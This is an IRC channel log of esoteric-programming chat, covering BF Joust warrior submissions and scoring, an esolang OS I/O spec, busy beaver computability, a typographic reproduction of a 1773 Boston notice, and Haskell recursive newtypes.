02:48:30 <EgoBot> Score for jix_wiggle3: 42.3
02:53:10 <myndzi> wtf pasting readable code
02:53:15 <myndzi> you have one too many decoys
02:53:37 <jix> what is a decoy?
02:53:53 <myndzi> you'll lose on field length 10
02:54:04 <ais523> jix: a tape element near your flag set to a nonzero value in order to slow down the opponent
02:54:19 <myndzi> near or far from your flag, it doesn't really matter
02:54:30 <myndzi> more effective near because there's less chance your opponent will already be past where you are putting it
02:54:54 <myndzi> field length 10, 8 cells between your flag and their fla
03:03:47 -!- myndzi has quit (Remote closed the connection).
03:05:30 -!- inurinternet has joined.
03:05:30 -!- inurinternet has quit (Remote closed the connection).
03:05:46 <jix> !bfjoust wiggle3 http://nopaste.com/p/ao0IKplNq/txt
03:05:50 -!- inurinternet has joined.
03:05:53 <EgoBot> Score for jix_wiggle3: 52.8
03:05:54 <jix> might be overtuned to one opponent
03:07:28 -!- myndzi has joined.
03:10:55 <jix> !bfjoust wiggle3 http://nopaste.com/p/apkixpgyr/txt
03:11:04 <EgoBot> Score for jix_wiggle3: 46.4
03:12:07 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)).
03:12:23 <Patashu> it's interesting what you can do in just bf
03:12:44 <jix> !bfjoust wiggle3 http://nopaste.com/p/avON2JNox/txt
03:12:51 <EgoBot> Score for jix_wiggle3: 52.6
03:13:17 -!- puzzlet has joined.
03:13:26 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)).
03:13:36 <jix> hmmm i'm getting close to the top with my original idea :)
03:13:41 <jix> (and even readable code)
03:16:47 <jix> !bfjoust wiggle3 http://nopaste.com/p/aCZN6xEspb/txt
03:16:56 <EgoBot> Score for jix_wiggle3: 40.8
03:18:23 -!- puzzlet has joined.
03:18:29 <jix> !bfjoust wiggle3 http://nopaste.com/p/aiTnviDic/txt
03:18:38 <EgoBot> Score for jix_wiggle3: 38.0
03:20:07 <jix> !bfjoust wiggle3 http://nopaste.com/p/a50Zu4QqJ/txt
03:20:15 <EgoBot> Score for jix_wiggle3: 52.6
03:21:48 <kerlo_> Everyone knows that sentence fragments make perfectly good sentences.
03:22:02 <kerlo_> Received bobcat instead of office chair. Would not buy again.
03:23:17 <jix> !bfjoust wiggle3 http://nopaste.com/p/aY58XLAaO/txt
03:23:26 <EgoBot> Score for jix_wiggle3: 43.7
03:25:51 <jix> !bfjoust wiggle3 http://nopaste.com/p/a1e2qbAt6/txt
03:26:01 <EgoBot> Score for jix_wiggle3: 44.4
03:26:35 <jix> !bfjoust wiggle3 http://nopaste.com/p/aLm9yG2V6/txt
03:26:44 <EgoBot> Score for jix_wiggle3: 42.0
03:29:58 <jix> !bfjoust wiggle3 http://nopaste.com/p/aUXmYc81t/txt
03:30:08 <EgoBot> Score for jix_wiggle3: 41.9
03:30:48 <jix> !bfjoust wiggle3 http://nopaste.com/p/agI369nDf/txt
03:30:58 <EgoBot> Score for jix_wiggle3: 41.8
03:31:19 <jix> !bfjoust wiggle3 http://nopaste.com/p/alPD4N8vv/txt
03:31:29 <EgoBot> Score for jix_wiggle3: 42.0
03:32:44 <jix> !bfjoust wiggle3 http://nopaste.com/p/ar4WKzf4L/txt
03:32:53 <EgoBot> Score for jix_wiggle3: 46.7
03:33:31 <jix> !bfjoust wiggle3 http://nopaste.com/p/aJfWVa4lp/txt
03:33:40 <EgoBot> Score for jix_wiggle3: 44.0
03:34:03 <jix> !bfjoust wiggle3 http://nopaste.com/p/aiUNLWjC7/txt
03:34:09 <kerlo_> !bfjoust evil http://normish.org/ihope/evil
03:34:12 <EgoBot> Score for jix_wiggle3: 45.3
03:34:19 <jix> once you fix one another one breaks
03:34:53 <kerlo_> http://normish.org/ihope/evil blocks.
03:35:04 <kerlo_> Hopefully, EgoBot is not thereby dead. :-P
03:35:15 <kerlo_> If it is, I can free it.
03:35:46 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
03:36:35 <jix> !bfjoust wiggle3 http://nopaste.com/p/aZLIIPjWjb/txt
03:36:44 <EgoBot> Score for jix_wiggle3: 41.8
03:37:52 <jix> !bfjoust wiggle3 http://nopaste.com/p/anH9RMHwdb/txt
03:38:02 <EgoBot> Score for jix_wiggle3: 45.2
03:39:03 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
03:45:14 <jix> !bfjoust wiggle3 http://nopaste.com/p/aNJawZgp3/txt
03:45:25 <EgoBot> Score for jix_wiggle3: 46.2
03:47:29 <jix> !bfjoust wiggle3 http://nopaste.com/p/a3Zw4eM4Z/txt
03:47:39 <EgoBot> Score for jix_wiggle3: 47.2
03:51:17 <jix> !bfjoust wiggle3 http://nopaste.com/p/aSiaC5KB6/txt
03:51:27 <EgoBot> Score for jix_wiggle3: 51.2
03:52:12 <jix> !bfjoust wiggle3 http://nopaste.com/p/ak84GnaGeb/txt
03:52:22 <EgoBot> Score for jix_wiggle3: 48.9
03:52:58 <jix> !bfjoust wiggle3 http://nopaste.com/p/aGqKUZTLnb/txt
03:53:08 <EgoBot> Score for jix_wiggle3: 48.6
03:53:29 <jix> !bfjoust wiggle3 http://nopaste.com/p/alRX7Ro1eb/txt
03:53:40 <EgoBot> Score for jix_wiggle3: 48.2
03:54:14 <jix> !bfjoust wiggle3 http://nopaste.com/p/aG16QnTGY/txt
03:54:24 <EgoBot> Score for jix_wiggle3: 49.5
03:55:09 <jix> !bfjoust wiggle3 http://nopaste.com/p/adi0Sfe7c/txt
03:55:19 <EgoBot> Score for jix_wiggle3: 42.1
03:55:58 <jix> !bfjoust wiggle3 http://nopaste.com/p/aEKIPPU7nb/txt
03:56:09 <EgoBot> Score for jix_wiggle3: 50.9
03:56:46 <jix> !bfjoust wiggle3 http://nopaste.com/p/aTcBwdEocb/txt
03:56:57 <EgoBot> Score for jix_wiggle3: 52.3
03:57:50 <jix> !bfjoust wiggle3 http://nopaste.com/p/aH8BwhaPdb/txt
03:58:00 <EgoBot> Score for jix_wiggle3: 52.6
03:58:39 <jix> !bfjoust wiggle3 http://nopaste.com/p/aZ0bbURY6/txt
03:58:48 <EgoBot> Score for jix_wiggle3: 57.2
03:58:54 -!- coppro has quit ("The only thing I know is that I know nothing").
03:59:21 <jix> !bfjoust wiggle3 http://nopaste.com/p/alx52eZ50/txt
03:59:31 <EgoBot> Score for jix_wiggle3: 57.3
04:00:10 <jix> experimental:
04:00:14 <jix> !bfjoust wiggle3 http://nopaste.com/p/ajrNY51ag/txt
04:00:23 <EgoBot> Score for jix_wiggle3: 56.7
04:00:45 <jix> !bfjoust wiggle3 http://nopaste.com/p/aRluO2Qhnb/txt
04:00:54 <EgoBot> Score for jix_wiggle3: 53.1
04:01:33 <jix> !bfjoust wiggle3 http://nopaste.com/p/av8GVZbvn/txt
04:01:43 <EgoBot> Score for jix_wiggle3: 57.3
04:02:10 <jix> !bfjoust wiggle3 http://nopaste.com/p/awkAoi7wj/txt
04:02:21 <EgoBot> Score for jix_wiggle3: 57.3
04:03:26 <ais523> now you can delete 1, 2, and 3b
04:03:31 <ais523> unless they use a radically different strategy
04:03:42 <ais523> which reminds me, I should delete defend6
04:03:52 <EgoBot> Score for ais523_defend6: 0.0
04:04:09 <jix> thanks -_-
04:04:15 <jix> and i thought i could go to bed now ^^
04:04:20 <ais523> I'm leaving 7 there, anyway
04:05:08 <jix> !bfjoust wiggle3 http://nopaste.com/p/aORaPkjSt/txt
04:05:18 <EgoBot> Score for jix_wiggle3: 59.4
04:05:58 <myndzi> ais523: this is why your thing about submitting duplicates sucks
04:06:12 <ais523> because it messes up the scoreboard
04:06:17 <myndzi> now there's 3, possibly to be 4 or 5 suicides on the hill
04:06:25 <ais523> they'll disappear in due course
04:06:34 <myndzi> but there's no reason for them to be there
04:06:47 <myndzi> instead they alter the scores
04:06:59 <Patashu> I don't think having a suicide alters anything?
04:07:02 <myndzi> by favoring certain strategies (namely, fast attack)
04:07:13 <myndzi> Patashu: did you watch what just happened?
04:07:34 <jix> i tuned my program against defend
04:07:34 <Patashu> oh, I can see how it might have an effect
04:07:39 <Patashu> it gives the same number of wins to everyone
04:07:39 <jix> (there were three variants)
04:07:45 <jix> now were there are only two left...
04:07:48 <jix> i lost points of course
04:08:04 <myndzi> Patashu: excuse me, i was confusing myself :P
04:08:14 <myndzi> you are correct of course, it gives the same points to everyone
04:08:21 <myndzi> but it still shortens the playing field too
04:08:40 <myndzi> i'd rather have whatever warriors got knocked off back
04:08:49 <Patashu> !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(+.)*129)*21[-]((-)*2048(+)*2048.)*2
04:08:49 <myndzi> submitting filler isn't much better than submitting < :P
04:08:56 <EgoBot> Score for Patashu_lazy: 15.7
04:09:00 <Patashu> !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21
04:09:01 <Patashu> !bfjoust waiter ((+--)*10000(-++)*10000)*2(+)*10000(-)*10000(+-)*10000(-+)*10000
04:09:13 <myndzi> lol. they were yours? :P
04:09:23 <myndzi> the ones that got knocked off
04:09:25 <EgoBot> Score for Patashu_matador: 8.9
04:09:26 <EgoBot> Score for Patashu_waiter: 17.4
04:09:30 <Patashu> !bfjoust juggernaut >+>+>->->+>+>->-(>(-)*128.-.+)*29
04:09:37 <EgoBot> Score for Patashu_juggernaut: 10.5
04:09:38 <Patashu> !bfjoust 2_3weave (>(+)*23>(-)*23)*1>+>->->+>+>-(>[(-)*20[+]]->[(+)*21[-]]+>+)*10
04:09:47 <EgoBot> Score for Patashu_2_3weave: 17.1
04:10:15 -!- Corun has quit ("Leaving...").
04:10:25 <jix> i think that my 3 wiggles are different enough to have a place on the hill
04:10:45 <myndzi> i'll wiggle you you.. wiggly... thing!
04:11:30 <jix> they use a different structure... the only thing they share is that they try to get a cell to zero fast by using nested loops going in different directions
04:11:53 <jix> wiggle1 is just a very simple implementation of that
04:12:06 <myndzi> someone was doing that a few days ago, but you seem to have had much more success with it ;)
04:12:06 <Patashu> so it goes...+--+++----+++++ etc and keeps checking?
04:12:13 <Patashu> or something more optimized
04:12:23 <myndzi> i tried using nested loops for a similar reason, but it didn't work out
04:12:27 <jix> it does -[-[-[-[++++[+ ...
04:12:28 <myndzi> i thought it was the speed loss because of ]]]]]]]
04:12:37 <Patashu> check five values one way, check five the other, etc
04:12:42 <myndzi> but it might have been the hash rng at that time
04:13:08 <myndzi> on the other hand, i guess it's faster than -.-.-.-. for example
04:13:13 <jix> in wiggle 2 i did exactly the same... but "elminated" the ]]]]]
04:13:15 <myndzi> in cases where all those aren't necessary
04:13:29 <jix> which turns it into a rather large program
04:13:42 <jix> myndzi: but they will be evaluated much less
04:13:56 <jix> worst case every 4 cells i think
04:14:14 <myndzi> i was going to make one where i nested everything so it never executes ]]]]] at all ;p
04:14:24 <jix> myndzi: would have been to large for that
04:14:34 <jix> (my definition of too large)
04:14:42 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
04:14:44 <myndzi> indeed, it was a pain in the ass
04:14:55 <jix> just take a look at that http://codu.org/eso/bfjoust/in_egobot/jix_wiggle2.bfjoust
04:15:26 <jix> and in wiggle3 i tried to do a tradeoff
04:15:36 <jix> a) i setup proper decoys
04:15:50 <jix> b) i combine the "wiggle" technique with the +++++[-] thing
04:15:52 <myndzi> (i should have let you take those 1/20th losses ;)
04:16:03 -!- bsmntbombdood has joined.
04:16:10 <myndzi> i noticed a lot of contstant fiddling
04:16:26 <myndzi> the way you did it allows you to be pretty highly tuned to the hill contents
04:16:32 <jix> c) i use [-.] [+.] to defeat defend
04:16:42 <jix> (but only for the 2nd and 3rd non zero cell)
04:17:00 <ais523> jix: what about for the 4th? do you go back to [-] and [+]?
04:17:06 <ais523> if so, that's what's defeating defend9
04:17:35 <jix> myndzi: you got one additional -. there
04:17:45 <ais523> well, in that case I could probably beat wiggle just by giving defend7 a few more decoys
04:17:59 <myndzi> and then he could beat defend by adding a few more lines too
04:18:09 <myndzi> why don't you just add 30 decoys
04:34:18 <GregorR-L> Mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao mao.
04:39:58 -!- pikhq has joined.
04:44:00 -!- ais523 has quit (Remote closed the connection).
04:46:00 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
04:46:10 -!- ais523 has joined.
04:49:36 -!- pikhq has joined.
04:51:42 <psygnisfive> GregorR: i dont think mao is like buffalo, in that respect.
05:11:57 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
05:17:04 <EgoBot> Score for kerlo__evil: 4.6
05:17:56 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
05:18:10 <kerlo_> Wow. EgoBot was loating http://normish.org/ihope/evil for that long.
05:21:16 -!- pikhq has joined.
05:22:53 -!- psygnisfive has joined.
05:57:01 -!- myndzi\ has joined.
05:58:29 -!- psygnisfive has quit (Read error: 60 (Operation timed out)).
05:59:22 -!- psygnisfive has joined.
06:04:36 -!- myndzi has quit (Read error: 60 (Operation timed out)).
06:18:33 <pikhq> dbc: Ah, yes. You're in here, too. XD
07:19:27 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:12:54 -!- KingOfKarlsruhe has joined.
08:20:18 -!- amca has joined.
08:39:59 -!- inurinternet has quit (Success).
08:56:39 <lifthrasiir> AnMaster: http://lifthrasiir.jottit.com/exe i revised the spec. does it look reasonable?
09:00:45 -!- Slereah has joined.
09:53:28 -!- Patashu has joined.
09:56:40 <amca> lifthrasiir: Is it only possible to have sync io in such an OS, or would async io be also possible?
10:13:16 <lifthrasiir> amca: have you looked at $05 xxxx 06..08 commands?
10:15:53 * GregorR-L puts forth again that any esolang-to-OS-through-stdout protocol should require or at least allow a \n at the end of every command sent.
10:16:24 <GregorR-L> Since some annoying interps (read: any interp that uses C stdio and doesn't fflush) will otherwise not send its data.
10:17:14 <GregorR-L> I've mentioned that twice in previous (aborted or at least mostly aborted) such systems :P
10:17:36 <amca> "# $05 xxxx 09 returns ??, which is true only if the handle is available for reading. On failure it returns error. # $05 xxxx 0a is same to $05 xxxx 09, but it's for writing." <- does that refer to checking if the io is ready-to-send/receive?
10:17:47 <GregorR-L> And in a week, somebody will ask why that's required, nobody will be able to answer, and it will disappear again, only for me to come back and explain it again. Oh, the cycle of annoying X-P
10:18:03 <lifthrasiir> amca: something like select(2) system call.
10:18:31 <lifthrasiir> (maybe i have to mention such equivalences)
10:18:58 <GregorR-L> lifthrasiir: Sorry, it's just happened before :P
10:19:05 <lifthrasiir> GregorR-L, do you have any suggestions didn't make it into previous systems?
10:19:24 <GregorR-L> That's the only suggestion I ever had, I waited for them to mature a bit so I could poke around, and they never did.
10:19:38 <GregorR-L> Nobody can seem to get past the "idea" stage and to the "interpreter" stage for some reason.
10:21:38 <amca> lifthrasiir: Which part deals with signals, or h/ware interrupts/handlers?
12:41:13 -!- clog has joined.
12:41:13 -!- clog has joined.
13:12:48 -!- tombom has joined.
13:13:01 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
13:34:27 <AnMaster> From the spam directory: "Subject: Fortune cookies help cops naab suspect"
13:35:06 * oerjan has a naaging doubt about the spelling there
13:43:02 <AnMaster> lifthrasiir, the long integer format seems screwy
13:49:45 <oerjan> rofl (but old) http://www.theonion.com/content/node/30832?utm_source=onion_rss_daily
14:10:48 -!- tombom has quit ("Peace and Protection 4.22.2").
14:14:44 -!- Corun has joined.
15:34:31 -!- oerjan has quit ("leaving").
15:50:36 -!- Slereah has quit ("Leaving").
15:59:51 -!- amca has quit ("the teacher I mean").
16:14:55 -!- impomatic has joined.
16:15:41 -!- Slereah has joined.
16:24:38 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
16:35:50 -!- Corun has changed nick to Corun|away.
17:05:40 -!- KingOfKarlsruhe has quit (Remote closed the connection).
17:09:56 -!- M0ny has quit (Read error: 60 (Operation timed out)).
17:13:59 -!- Corun|away has changed nick to Corun.
17:14:44 <MigoMipo> I'm still thinking about a good I/O model for Migol. I want something elegant that jumps to the I/O subroutine, executes the I/O, modifies the memory and jumps back to the main program, without messing up the language.
17:16:09 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
17:19:53 -!- Gracenotes has quit ("Leaving").
17:21:26 <tetha> hm, what about sections, similar to actual assembly languages?
17:23:29 -!- Judofyr has joined.
17:25:16 <tetha> MigoMipo: define a section as a sequence of statements, and entering a statement as setting the program counter to the first element in a section
17:25:46 <tetha> MigoMipo: that way, you could have interrupt-based IO by simply executing the IO-section whenever the input-interrupt occurs (besides executing the code-section by default)
17:26:32 <tetha> this would also generalize nicely to all kinds of interrupts :)
17:28:02 <MigoMipo> tetha: Sounds interesting, can it be used as an interface to for example C libraries? Jumping to an another Migol code section seems pointless.
17:29:33 <tetha> MigoMipo: I think so. If you can map C's calling conventions into your memory model (which should be possible), then you could define something like a c-section which is entered upon the right interrupt
17:29:38 -!- Judofyr has quit (Remote closed the connection).
17:35:08 -!- Judofyr has joined.
17:36:45 -!- AnMaster has quit ("ZNC - http://znc.sourceforge.net").
17:49:07 -!- inurinternet has joined.
17:57:51 -!- M0ny has joined.
18:00:45 -!- kar8nga has joined.
18:03:35 -!- kar8nga has quit (Read error: 131 (Connection reset by peer)).
18:04:59 -!- kar8nga has joined.
18:11:47 -!- Sgeo has joined.
18:26:36 -!- olsner has joined.
18:28:42 -!- AnMaster has joined.
18:47:18 -!- jix_ has joined.
19:01:52 -!- jix has quit (Read error: 110 (Connection timed out)).
19:02:58 -!- sebbu2 has joined.
19:03:32 -!- jix_ has changed nick to jix.
19:18:10 -!- sebbu has quit (Read error: 110 (Connection timed out)).
19:25:35 -!- Judofyr_ has joined.
19:27:00 -!- Judofyr has quit (Read error: 104 (Connection reset by peer)).
19:38:58 -!- tetha has quit (Nick collision from services.).
19:39:06 -!- tetha has joined.
20:03:29 -!- Corun has changed nick to Corun|away.
20:06:35 -!- tombom has joined.
20:22:08 -!- Corun|away has changed nick to Corun.
20:24:58 -!- oerjan has joined.
20:30:57 <AnMaster> yay back on usable screen resolution
20:31:42 <oerjan> __ _ _ __ ___ _ _ ___ _ _ ___ _ _ _ __ __|__ \
20:31:42 <oerjan> / _` | '__/ _ \ | | | |/ _ \| | | | / __| | | | '__/ _ \/ /
20:31:42 <oerjan> | (_| | | | __/ | |_| | (_) | |_| | \__ \ |_| | | | __/_|
20:31:42 <oerjan> \__,_|_| \___| \__, |\___/ \__,_| |___/\__,_|_| \___(_)
20:32:49 <impomatic> Can't read that in my IRC client, had to paste it to notepad.
20:33:07 <pikhq> impomatic: ... You don't have monotype IRC?
20:33:14 <pikhq> Monospaced, rather.
20:34:02 <oerjan> well it's probably not _that_ important
20:37:41 -!- impomatic has quit ("connection terminated by profanity filter").
20:41:25 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
20:41:38 -!- Corun has changed nick to Corun|away.
20:41:57 <AnMaster> oerjan, instead of 1280x1024 on TFT with 1400x1050 as native res!
20:44:53 <Asztal> why were you using that again?
20:45:34 <pikhq> Argh, LCDs not being run at native resolution!
20:46:10 <Asztal> usually either the graphics or the monitor is able to do letterboxing
20:46:55 <pikhq> Monitors don't letterbox. Evil, isn't it?
20:55:15 -!- Corun|away has changed nick to Corun.
21:11:45 -!- Corun has changed nick to Corun|away.
21:14:01 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)").
21:44:05 -!- Slereah_ has joined.
21:47:34 -!- Judofyr has joined.
21:52:25 <ehird> 11:03 GregorR-L: Since apparently the master logging bots are prone to deadeadead.
21:52:27 <ehird> clog is rock-solid
21:52:57 <ehird> 19:33 pikhq: impomatic: ... You don't have monotype IRC?
21:52:57 <ehird> 19:33 pikhq: Monospaced, rather.
21:52:58 <ehird> 19:33 pikhq: That's... Wow.
21:53:39 <ehird> i wrote two silly things today:
21:53:48 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
21:54:06 <ehird> http://pastie.org/499629.txt?key=turhqwrztzeyugdoq3wzq
21:54:07 <ehird> http://pastie.org/499631.txt?key=cosj6kske51habowtnh5qa
21:54:20 <ehird> both have a rather complex backstory only comprehensible if your mind is identical to mine.
21:54:55 <oerjan> <ehird> clog is rock-solid <ehird> tunes.org is not <-- huh?
21:55:15 <oerjan> clog logs on tunes.org
21:55:28 <ehird> i'm saying that tunes.org is the problem; clog itself is rock-solid software that never crashes
21:55:39 <ehird> it just lacks, y'know, any open source code.
21:55:45 -!- Corun|away has changed nick to Corun.
21:55:52 <ehird> it doesn't help that the tunes project is dead^A(g64,g64)
21:56:38 -!- Slereah has quit (Read error: 110 (Connection timed out)).
22:00:19 -!- kar8nga has quit (Read error: 104 (Connection reset by peer)).
22:02:49 <oerjan> !c printf("%d\n", 0xdead)
22:04:40 <ehird> busy beaver is computable isn't it
22:04:46 <ehird> if you have a machine more powerful than what you're trying to busy beaver
22:05:28 <Slereah_> Well, you know it halts, so I guess you could just run every possible program of that length in parallel
22:05:42 <ehird> takes a fuck of a long time, but very possible
22:06:15 <Slereah_> Maybe by using the LOVE MACHINE 9000
22:06:19 <ehird> oerjan: prove me wrong
22:06:46 <Slereah_> Here is a little beaver of hers :
22:06:54 <oerjan> assuming you mean what i think you mean, it seems fine
22:07:09 <ehird> oerjan: yeah; so why is busy beaver considered uncomputable?
22:07:18 <ehird> a turing machine can calculate BB(x) for all x in finite time
22:07:25 <ehird> apart from non-halting things
22:07:30 <oerjan> ehird: because it doesn't work if some of the programs you test might _not_ halt
22:07:43 <ehird> oerjan: if it was an FSM this'd be trivial
22:08:05 <ehird> oerjan: if you run it all in parallel and keep a running total you can oslev it practically (with a few billion years or thereabouts)
22:08:09 <ehird> but that's not a pure solution
22:08:44 <ehird> oslev: Solve practically but not theoretically.
22:09:00 <Slereah_> But yeah, it's true that you might have one that seems to not stop, but will
22:09:03 <oerjan> ehird: it's not a few billion years. once you get up to the length where you can embed an ackermann function...
22:09:17 -!- Judofyr_ has quit (Read error: 113 (No route to host)).
22:09:22 <ehird> BB(x,y) where y is a parameter for size of an FSM can be done trivially
22:38:35 -!- nooga has joined.
22:40:12 -!- tombom has quit ("Peace and Protection 4.22.2").
22:42:56 <ehird> pikhq: gimme one of those fancy f's
22:43:23 <pikhq> I think I can ſee about getting you one.
22:45:16 <ehird> pikhq: Argh. Unicode has small-caps, but not for all letters.
22:45:20 <ehird> (They're just for IPA)
22:50:57 <ehird> Brethren, and Fellow Citizens !
22:50:59 <ehird> Yᴏᴜ may depend, that thoſe odius Miſcreants and deteſ–
22:51:01 <ehird> table Tools to Miniſtry and Governor, the Tᴇᴀ Cᴏɴꜱɪɢɴᴇᴇꜱ,
22:51:03 <ehird> (thoſe Traitors to their Country, Butchers, who have done, and are do–
22:51:05 <ehird> ing every Thing to Murder and deſtroy all that ſall ſtand in the Way
22:51:07 <ehird> of their private Intereſt,) are determined to come and reſide again in
22:51:09 <ehird> the Town of Boſton.
22:51:13 <ehird> I therefore give you this early Notice, that you may hold yourſelves
22:51:15 <ehird> in Readineſs, on the ſhorteſt Notice, to give them ſuch a Reception, as
22:51:17 <ehird> ſuch vile Ingrates deſerve. J O Y C E, jun.
22:51:19 <ehird> (Chairman of the Committee for Tarring and Feathering.
22:51:23 <ehird> ☞ If any Perſon ſhould be ſo hardy as to Tear this down, they may
22:51:25 <ehird> expect my ſevereſt Reſentment. J. jun.
22:51:30 <pikhq> I can't see all of that; not all of the smallcaps show up right.
22:52:02 <ehird> pikhq: I can give you a plaintext document with which to use another font on.
22:52:28 <ehird> http://pastie.org/499720.txt?key=thydhbk8cjeonqchaaagq (also added a space to the first line, to align as in the original letter)
22:52:43 <ehird> http://upload.wikimedia.org/wikipedia/en/0/07/BostonTeaPartyJoyceNotice.jpg ← I think I did a pretty good reproduction
22:52:52 <ehird> Designed for a monospaced font
22:55:23 -!- Patashu has joined.
22:55:35 <ehird> heh— [[In the colonies, Benjamin Franklin stated that the destroyed tea must be repaid, all 90,000 pounds.]]
23:02:02 -!- FireFly has quit ("Later").
23:02:12 <ehird> loeb loeb loeb loeb loeb loeb
23:02:36 -!- BeholdMyGlory has quit (Remote closed the connection).
23:02:40 <ehird> Who's (a) around, (b) knows haskell?
23:04:36 <ehird> ...aw damn, I had an idea but I realised that it required a type of (a = a -> b)
23:04:55 <ehird> specifically: a function which, when given a function of its type, probes it with inputs to attempt to determine if it's itself.
23:05:07 <ehird> so mirror :: a = a -> Bool
23:05:36 <oerjan> newtype Mirror = Mirror (Mirror -> Bool)
23:06:16 <oerjan> needs only a little additional pattern matching
23:07:30 <Asztal> I seem to remember seeing that before
23:09:24 <ehird> oerjan: I'm not sure it's possible
23:09:32 <oerjan> i wonder if it isn't going to be hard creating one that isn't constant or non-terminating
23:10:02 <ehird> you can pass special functions as "signals" to the questionee, but how do you detect if you get one?
23:10:06 <oerjan> well, ok you have const True and const False
23:10:55 <oerjan> hm it may not be that impossible to get some information
23:11:02 * ehird writes a draft implementation
23:11:13 <ehird> oerjan: it can't be perfect, of course
23:11:36 <oerjan> newtype Mirror = M { runM :: Mirror -> Bool } for a little convenience, perhaps
23:11:53 <comex> 18:04 < ehird> ...aw damn, I had an idea but I realised that it required a type of (a = a -> b)
23:11:54 <oerjan> then M (const True), M (const False) are examples
23:12:05 <comex> if so, what does that mean
23:12:14 <oerjan> and from those you can make M ($ const False), etc.
23:12:23 <ehird> mirror :: Mirror -> Bool
23:12:23 <ehird> mirror (Mirror f) =
23:12:24 <ehird> let r1 = f $ const True
23:12:26 <ehird> r2 = f $ const False
23:12:37 <oerjan> and you can do boolean operations on the result
23:13:14 <ehird> err, wrap of course
23:13:30 <ehird> oerjan: the problem is that if you do "f (Mirror f)", you don't terminate when passed yourself
23:13:53 <comex> I mean, what does a type of (a = a -> b) mean
23:13:58 <comex> or is that pseudo-syntax
23:14:08 <ehird> comex: it means "type a such that a -> b"
23:14:13 <ehird> as in, f f f f f f
23:14:19 <ehird> you can't represent it; it's not sound
23:14:23 <ehird> but you can do it w/ a newtype
23:14:29 <ehird> (since that adds a safety boxing layer
23:14:40 <ehird> f $ f $ f $ f $ that is
23:14:43 <GregorR> OMG Gregor is back in Indiana.
23:14:45 <ehird> that's for (a = a -> a)
23:14:58 <oerjan> newtype actually does only virtual boxing, it doesn't show up in the compiled result
23:15:05 <ehird> but it's boxing in theory
23:15:28 <oerjan> it's not non-strict boxing
23:15:36 <ehird> oerjan: it's theoretical boxing
23:16:17 <ehird> mirror :: Mirror -> Bool
23:16:17 <ehird> mirror (Mirror f) =
23:16:19 <ehird> let r1 = f $ Mirror (const True)
23:16:21 <ehird> r2 = f $ Mirror (const False)
23:16:23 <ehird> in traceShow (r1, r2) False
23:16:27 <ehird> *Main> mirror (Mirror mirror)
23:16:35 <oerjan> ehird: Mirror ($ const True)
23:16:37 <ehird> i'm doubting this is possible without specially-crafted sentinel functions
23:16:39 <ehird> and I'm unsure how to craft them
23:16:43 <ehird> oerjan: ehm, what's that do?
23:16:53 <ehird> oerjan: that doesn't type yo
23:16:56 <Asztal> mirror (Mirror `on` the wall)...
23:17:24 <ehird> Asztal: the pun was of course on the magic mirror detecting who the fairest of them all is, and introspection
23:18:37 <oerjan> ehird: you're probably going to get some diagonalized non-terminating counterexample anyway
23:18:50 <nooga> coke mixed with coffee
23:18:58 <ehird> oerjan: nontermination on some inputs is fine
23:19:07 <ehird> but mirror (Mirror mirror) should always be True
23:19:14 <ehird> and most random functions of the tpe should be False
23:19:18 <ehird> nooga: the drug or the drink?
23:19:41 <nooga> the drug is yuck btw
23:20:29 <oerjan> ehird: hm with wrapping my ($ const True) should become M ($ M (const True))
23:20:38 <ehird> oerjan: what would that do?
23:20:42 <ehird> I don't follow how it works
23:21:00 -!- Corun has quit (Read error: 104 (Connection reset by peer)).
23:21:04 <ehird> *Main> Mirror ($ Mirror (const True))
23:21:04 <ehird> <interactive>:1:8:
23:21:05 <ehird> Couldn't match expected type `a -> b'
23:21:07 <ehird> against inferred type `Mirror'
23:21:08 <oerjan> it tests by applying f to M (const True)
23:21:18 <ehird> let r1 = f $ Mirror (const True)
23:21:20 <ehird> r2 = f $ Mirror (const False)
23:21:31 <ehird> doesn't my example do that?
23:21:31 <nooga> what do we call mutable variables?
23:21:59 <oerjan> ehird: but then you could test more by using _that_ as the test
23:22:08 <ehird> oerjan: follow i don't
23:22:21 <ehird> oerjan: what does f get?
23:22:36 <oerjan> ehird: for any test function you make, you get a new test by applying to the first
23:22:54 <nooga> define a,b,c here { something something } forget a,b,c ?
23:23:04 <ehird> oerjan: gimme a function (test->newTest)
23:23:06 <ehird> and I'll understand
23:23:28 <oerjan> ehird: yodawg t (Mirror f) = f (Mirror t)
23:23:46 <ehird> oerjan: no, not function and test
23:23:51 <ehird> give an argument to f, get a new one back
23:24:21 <oerjan> ehird: t is the old test, yodawg t the new one
23:24:38 <ehird> oerjan: so (\test -> Mirror test)
23:24:50 <ehird> i'm not sure of the effects, oerjan
23:24:59 <ehird> what happens to the function?
23:25:07 <nooga> ehird: i'm not sure if i understand
23:25:23 <nooga> could you give my an example?
23:25:32 <oerjan> ehird: why don't you just try yodawg out?
23:25:33 <ehird> nooga: I have no idea what the heck yo're talking about
23:25:47 <nooga> ehird: about mutable vars
23:25:54 <ehird> oerjan: because I can blindly apply functions all day but my mirror doesn't return reasonable results so I'd have no idea at all what it does
23:25:58 <ehird> nooga: be more specific dammit
23:26:54 <nooga> http://llvm.org/docs/tutorial/OCamlLangImpl7.html << about wtf is that chapter about
